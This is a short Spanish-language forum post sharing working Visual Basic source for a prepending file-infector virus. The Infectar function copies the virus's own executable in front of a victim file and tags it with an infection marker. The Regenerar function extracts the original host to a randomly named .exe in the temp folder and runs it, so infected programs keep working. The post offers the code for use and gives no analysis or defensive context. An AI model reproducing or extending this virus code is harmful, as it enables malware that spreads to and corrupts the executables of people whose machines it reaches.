Pongo el codigo funcionando (lanzando el huesped con un "shell")
Código (vb) [Seleccionar]
Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String
Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1
sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección
Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1
End Function
'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String
sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus
Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1
Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1
Shell sFinal
End Function